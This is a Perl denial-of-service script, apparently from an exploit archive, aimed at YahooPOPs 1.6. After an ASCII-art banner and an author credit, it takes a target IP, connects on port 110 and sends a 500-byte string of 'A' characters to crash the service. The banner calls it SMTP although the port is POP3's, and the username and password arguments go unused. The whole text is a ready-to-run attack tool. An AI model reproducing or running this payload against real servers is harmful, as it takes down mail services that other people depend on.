use IO::Socket;
sub intro {
print q {
,--,
_ ___/ /\|
,;'( )__, ) ~
// // '--;
' \ | ^
^ ^
[+] YahooPOPs 1.6 - SMTP - Denial of Service (DoS)
[*] Coded by Fernando Mengali
[@] e-mail: fernando.mengalli@gmail.com
}
}
intro();
if (!$ARGV[0]) {
print "\nUsage: $0 <ip> <username> <password>\n";
exit(0);
}
my $host = $ARGV[0];
my $username = $ARGV[1];
my $password = $ARGV[2];
my $port = 110;
my $payload = "A" x 500;
my $ip = inet_aton($ARGV[0]);
my $socket = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
Timeout => 10
);
unless ($socket) {
die "[+] socket() error: $!\n";
}
print "[+] YahooPOPS SMTP detected, constructing the payload\n";
unless ($socket->send($payload)) {
die "[+] Sending error, the server probably rebooted.\n";
}
